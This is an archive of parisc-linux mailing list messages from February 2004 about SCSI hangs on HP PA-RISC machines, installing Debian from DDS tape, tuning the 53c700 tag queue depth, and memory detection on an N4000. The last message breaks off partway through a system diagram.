NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623209 5739 80.91.229.3 (22 Nov 2014 02:26:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:49 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: xam@cs.ucc.ie  Fri Feb 20 12:07:26 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8A5A4868
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Feb 2004 12:07:25 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i1KJ7L8i023931;
	Fri, 20 Feb 2004 19:07:21 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <402A4CA500006E8D@ocpmta2.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 20 Feb 2004 19:07:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20889

On Fri, 20 Feb 2004, Joel Soete wrote:

> on my b2k since I can run 2.6 (32bit with gcc-3.3 or 64bit with gcc-3.0)
> i noticed from time to time such dmesg:
> sym0:5:0: ABORT operation timed-out.
> sym0:5:0: ABORT operation started.

[...]

> sym0:5:0: ABORT operation timed-out.
> sym0:5:0: DEVICE RESET operation started.
> sym0:5:0: DEVICE RESET operation timed-out.
> sym0:5:0: BUS RESET operation started.
> sym0: SCSI BUS reset detected.
> sym0: SCSI BUS has been reset.
> sym0:5:0: BUS RESET operation complete.
>
> and during this time the system naturaly hang.

(or is at least *very* slow)

> scsi id 5 is the one of the working boot disk (a quantum model atlas5-9lvd)
> and if there is well a second disk (a seagate model ST336704LC) it is not
> used.

Had the same problem when attaching a SE-SCSI device (also a Seagate, 20GB)
on my C3k (which has 2 internal LVD SCSI-drives).

Got rid of it by not using the SE-SCSI driver ;)
Try to physically detach the (not-used) ST336704LC.

> OTC with 2.4 and sym2 driver, I never noticed this behavior (even with recent
> 2.4.25-rc?-pa0 :) ), so I presume that there is no disk failure (and a dd
> if=/dev/sda of=/dev/null bs=1024k reach to read fully the disk without any
> error).

Yes, I think reading is fine, just (lots of) writing is triggering it.
    Max


From - Thu Nov 08 21:30:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Razvan Popescu <tomcatsniper@go.ro>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Install from DDS Tape
Date: Sat, 21 Feb 2004 03:19:17 +0200
Organization: ESCAPE
Lines: 13
Approved: news@gmane.org
Message-ID: <5818350927.20040221031917@go.ro>
Reply-To: Razvan Popescu <tomcatsniper@go.ro>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623209 5746 80.91.229.3 (22 Nov 2014 02:26:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: tomcatsniper@go.ro  Fri Feb 20 18:18:57 2004
Return-Path: <tomcatsniper@go.ro>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s2.home.ro (s2.home.ro [193.231.236.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92B0A4852
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Feb 2004 18:18:56 -0700 (MST)
Original-Received: (qmail 13409 invoked from network); 21 Feb 2004 01:18:55 -0000
Original-Received: from unknown (HELO 10.4.2.121) (193.254.231.59)
	by 134.home.ro with SMTP; 21 Feb 2004 01:18:55 -0000
X-Mailer: The Bat! (v2.00.6) Business
X-Priority: 3 (Normal)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 21 Feb 2004 01:18:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20890

Hi,
  I have an old HP 9000 model 715 at my work with HP-UX 10.2 and
  I want to install Debian 3.0 for PA-RISC on it but it has ONLY
  a dds tape drive (no cdrom, no floppy). My question is: Can I
  install from tape? How can I put the Debian ISO file on a dds
  and boot/install from that?
-----------------------------------------------------------------
Thanks,
        Razvan Popescu                 mailto:tomcatsniper@go.ro
Linux registered as user #305236
-----------------------------------------------------------------



From - Thu Nov 08 21:30:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Install from DDS Tape
Date: Fri, 20 Feb 2004 18:44:44 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20040221014445.D682A37D0C@carmen.fc.hp.com>
References: <5818350927.20040221031917@go.ro>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623209 5751 80.91.229.3 (22 Nov 2014 02:26:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Razvan Popescu <tomcatsniper@go.ro>
Original-X-From: taggart@carmen.fc.hp.com  Fri Feb 20 18:44:53 2004
Return-Path: <taggart@carmen.fc.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9D334852
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Feb 2004 18:44:52 -0700 (MST)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel8.hp.com (Postfix) with ESMTP
	id 073FD1C02447; Fri, 20 Feb 2004 20:44:52 -0500 (EST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 8618641EF55; Fri, 20 Feb 2004 18:44:46 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.11.146.74])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 1BFB41340AD; Fri, 20 Feb 2004 18:44:46 -0700 (MST)
Original-Received: by carmen.fc.hp.com (Postfix, from userid 22223)
	id D682A37D0C; Fri, 20 Feb 2004 18:44:45 -0700 (MST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id CA33537D08; Fri, 20 Feb 2004 18:44:45 -0700 (MST)
X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.1-RC1
In-Reply-To: Your message of "Sat, 21 Feb 2004 03:19:17 +0200."
	<5818350927.20040221031917@go.ro> 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 21 Feb 2004 01:44:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20891


Razvan Popescu writes...

> Hi,
>   I have an old HP 9000 model 715 at my work with HP-UX 10.2 and
>   I want to install Debian 3.0 for PA-RISC on it but it has ONLY
>   a dds tape drive (no cdrom, no floppy). My question is: Can I
>   install from tape?

Yes.

> How can I put the Debian ISO file on a dds and boot/install from that?

I'm not sure if dd'ing the ISO image will work. Just dd one of the 
installer lif images onto the tape.

-- 
Matt Taggart        Linux and Open Source Lab
taggart@fc.hp.com   Hewlett-Packard




From - Thu Nov 08 21:30:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hanging with kernels >= 2.4.22
Date: Sat, 21 Feb 2004 07:58:49 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <20040221075849.GA1642@calypso>
References: <20040218235225.GA1623@calypso>
	<20040219062907.GC13916@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623209 5759 80.91.229.3 (22 Nov 2014 02:26:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: sdbrady@ntlworld.com  Sat Feb 21 00:58:49 2004
Return-Path: <sdbrady@ntlworld.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta02-svc.ntlworld.com (mta02-svc.ntlworld.com [62.253.162.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id E111A4852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 00:58:48 -0700 (MST)
Original-Received: from calypso ([62.254.21.7]) by mta02-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040221075816.UQTH14417.mta02-svc.ntlworld.com@calypso>
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 07:58:16 +0000
Original-Received: from sdb by calypso with local (Exim 3.36 #1 (Debian))
	id 1AuS2D-0001H5-00 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 07:58:49 +0000
Content-Disposition: inline
In-Reply-To: <20040219062907.GC13916@colo.lackof.org>
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Stuart Brady <sdbrady@ntlworld.com>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 21 Feb 2004 07:58:49 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20892

On Wed, Feb 18, 2004 at 11:29:07PM -0700, Grant Grundler wrote:
> On Wed, Feb 18, 2004 at 11:52:25PM +0000, Stuart Brady wrote:
> > I'm having problems with kernels >= 2.4.22 on a 715/100.
> 
> Stuart,
> All your symptoms point at disk IO hanging.
> Setting the default queue depth to 1 would be worth trying.
> I've forgotten the details for setting queue depth.
>  
> search parisc-linux mailing list archives "scsi queue tags".
> http://lists.parisc-linux.org/pipermail/parisc-linux/2004-January/022087.html

Thanks! Changing NCR_700_MAX_TAGS to 1 in drivers/scsi/53c700.h did the
trick. Will I now have poor disk performance? If so, might I get away
with setting it to something higher, like 2 or 4, maybe?

I've not heard of tagged command queues before - the idea seems to be to
transfer data to the drive as early as possible, but make decisions as
to what should be written first at a later stage. Is that correct?

http://lists.parisc-linux.org/pipermail/parisc-linux/2002-February/015465.html
says that no tagged queue is a bad thing. Why is that?

> btw, 715/50 is NOT the same as 715/100.
> 715/100 should have "coherent" DMA and 715/50 does not.
> 
> Maybe a FAQ entry for "715/xxx hangs" could be your first contribution?

That's a good idea. Where should I send the entry? Here?
-- 
Stuart Brady


From - Thu Nov 08 21:30:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Install from DDS Tape
Date: Sat, 21 Feb 2004 10:31:47 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20040221093146.GB13827@lug-owl.de>
References: <5818350927.20040221031917@go.ro>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="sZvnRN25x3w09J/6"
X-Trace: ger.gmane.org 1416623210 5767 80.91.229.3 (22 Nov 2014 02:26:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: jbglaw@dvmwest.gt.owl.de  Sat Feb 21 02:31:49 2004
Return-Path: <jbglaw@dvmwest.gt.owl.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 365CD4852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 02:31:49 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 635E74B553; Sat, 21 Feb 2004 10:31:47 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <5818350927.20040221031917@go.ro>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.4i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 21 Feb 2004 09:31:49 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20893


--sZvnRN25x3w09J/6
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sat, 2004-02-21 03:19:17 +0200, Razvan Popescu <tomcatsniper@go.ro>
wrote in message <5818350927.20040221031917@go.ro>:
> Hi,
>   I have an old HP 9000 model 715 at my work with HP-UX 10.2 and
>   I want to install Debian 3.0 for PA-RISC on it but it has ONLY
>   a dds tape drive (no cdrom, no floppy). My question is: Can I
>   install from tape? How can I put the Debian ISO file on a dds
>   and boot/install from that?

Booting off a tape should work (most probably with the lifimages), but
you'd also try booting off the network. This is what I prefer - if
you've set up the daemons once, you can boot off all machines with
that :)

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--sZvnRN25x3w09J/6
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFANyWCHb1edYOZ4bsRAmk+AJ0SqK3WzKkFQ8oVbxYSQwdzpKmQMwCgjQRn
ZmORehbSvFFadUt48ZluLJk=
=eH5r
-----END PGP SIGNATURE-----

--sZvnRN25x3w09J/6--


From - Thu Nov 08 21:31:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hanging with kernels >= 2.4.22
Date: Sat, 21 Feb 2004 12:05:09 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <20040221170508.GB14198@baldric.uwo.ca>
References: <20040218235225.GA1623@calypso>
	<20040219062907.GC13916@colo.lackof.org>
	<20040221075849.GA1642@calypso>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623210 5773 80.91.229.3 (22 Nov 2014 02:26:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stuart Brady <sdbrady@ntlworld.com>
Original-X-From: carlos@baldric.uwo.ca  Sat Feb 21 10:05:50 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76FFB4852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 10:05:50 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AuaYw-0005pu-00; Sat, 21 Feb 2004 12:05:10 -0500
Content-Disposition: inline
In-Reply-To: <20040221075849.GA1642@calypso>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (92% Sync Ratio [=========.])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 21 Feb 2004 17:05:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20894

> Thanks! Changing NCR_700_MAX_TAGS to 1 in drivers/scsi/53c700.h did the
> trick. Will I now have poor disk performance? If so, might I get away
> with setting it to something higher, like 2 or 4, maybe?

I could never run IO stably at anything higher than 1. The drives don't
seem to handle it properly, the error recovery mechanisms seem less
than perfect, and the box just hangs.
 
> I've not heard of tagged command queues before - the idea seems to be to
> transfer data to the drive as early as possible, but make decisions as
> to what should be written first at a later stage. Is that correct?
> 
> http://lists.parisc-linux.org/pipermail/parisc-linux/2002-February/015465.html
> says that no tagged queue is a bad thing. Why is that?

You misunderstand, I *removed* the tag-queue code from the driver and
*that* was bad. We're only asking that you reduce the queue size to 1 or
2. Infact higher numbers might be okay, but 16 is definately too high.

> That's a good idea. Where should I send the entry? Here?

You can checkout the entire website via CVS from cvs.parisc-linux.org,
there are CVS instructions on www.parisc-linux.org. The CVS file your
are particularly interested in is:

http://cvs.parisc-linux.org/web/src/faq/index.x?rev=1.40&content-type=text/vnd.viewcvs-markup

Generate a diff against that file, which includes your new entry, and 
voila you've added an entry to the FAQ, praise will rain down on you,
and you will never be forgotten :)

Many thanks,

c.



From - Thu Nov 08 21:31:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] b2k scsi disk pb
Date: Sat, 21 Feb 2004 18:13:02 +0000
Lines: 55
Approved: news@gmane.org
Message-ID: <40379FAE.4050802@tiscali.be>
References: <402A4CA500006E8D@ocpmta2.freegates.net>
	<Pine.LNX.4.58.0402201900540.26386@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623210 5774 80.91.229.3 (22 Nov 2014 02:26:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:50 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: soete.joel@tiscali.be  Sat Feb 21 11:12:28 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 881F64852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 11:12:27 -0700 (MST)
Original-Received: from [62.235.121.212] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Aubc0-0005i6-1u; Sat, 21 Feb 2004 19:12:24 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <Pine.LNX.4.58.0402201900540.26386@sal.ucc.ie>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 21 Feb 2004 18:12:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20895



M. Grabert wrote:
> On Fri, 20 Feb 2004, Joel Soete wrote:
> 
> 
>>on my b2k since I can run 2.6 (32bit with gcc-3.3 or 64bit with gcc-3.0)
>>i noticed from time to time such dmesg:
>>sym0:5:0: ABORT operation timed-out.
>>sym0:5:0: ABORT operation started.
> 
> 
> [...]
> 
> 
>>sym0:5:0: ABORT operation timed-out.
>>sym0:5:0: DEVICE RESET operation started.
>>sym0:5:0: DEVICE RESET operation timed-out.
>>sym0:5:0: BUS RESET operation started.
>>sym0: SCSI BUS reset detected.
>>sym0: SCSI BUS has been reset.
>>sym0:5:0: BUS RESET operation complete.
>>
>>and during this time the system naturaly hang.
> 
> 
> (or is at least *very* slow)
> 
hmm for me everything stop: ls, top, ... every cmd are pending.
> 
>>scsi id 5 is the one of the working boot disk (a quantum model atlas5-9lvd)
>>and if there is well a second disk (a seagate model ST336704LC) it is not
>>used.
> 
> 
> Had the same problem when attaching a SE-SCSI device (also a Seagate, 20GB)
> on my C3k (which has 2 internal LVD SCSI-drives).
> 
> Got rid of it by not using the SE-SCSI driver ;)
> Try to physically detach the (not-used) ST336704LC.
> 
It is an internal disk also but as I don't use it any more, I can try to remove it ;)

> 
>>OTC with 2.4 and sym2 driver, I never noticed this behavior (even with recent
>>2.4.25-rc?-pa0 :) ), so I presume that there is no disk failure (and a dd
>>if=/dev/sda of=/dev/null bs=1024k reach to read fully the disk without any
>>error).
> 
> 
> Yes, I think reading is fine, just (lots of) writing is triggering it.

Max, thanks for advise,
	Joel


From - Thu Nov 08 21:31:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux only see 2Gb of ram of N4k
Date: Sat, 21 Feb 2004 18:19:31 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <4037A133.5020906@tiscali.be>
References: <402A4CA500006EA3@ocpmta2.freegates.net>
	<20040220182140.GC11824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623211 5777 80.91.229.3 (22 Nov 2014 02:26:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: soete.joel@tiscali.be  Sat Feb 21 11:18:55 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 38F084852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 11:18:55 -0700 (MST)
Original-Received: from [62.235.121.212] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AubiH-0003Jv-S0; Sat, 21 Feb 2004 19:18:53 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <20040220182140.GC11824@parcelfarce.linux.theplanet.co.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 21 Feb 2004 18:18:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20896



Matthew Wilcox wrote:
> On Fri, Feb 20, 2004 at 07:04:26PM +0100, Joel Soete wrote:
> 
>>Hi all,
>>
>>My collegue make me notice that the N4k on which I can test Linux was supplied
>>with 4Gb of ram (which if confirm at boot prompt) but Linux only see 2Gb.
>>
>>It is a dual cpu machine, is that 1/2 ram dedicated to 1 cpu and the other
>>1/2 to the 2d cpu?
> 
> 
> Unlikely.  As I recall, the N4k diagram looks like this:
> 
> <-PCI-> Elroy <-Ropes\      PA <-+-> PA        PA <-+-> PA       /Ropes-> Elroy
> <-PCI-> Elroy <-Ropes-\         DEW       RAM      DEW          /-Ropes-> Elroy
> <-PCI-> Elroy <-Ropes--> IKE <-Merced-> Stretch <-Merced-> IKE <--Ropes-> Elroy
> <-PCI-> Elroy <-Ropes-/         DEW       RAM      DEW          \-Ropes-> Elroy
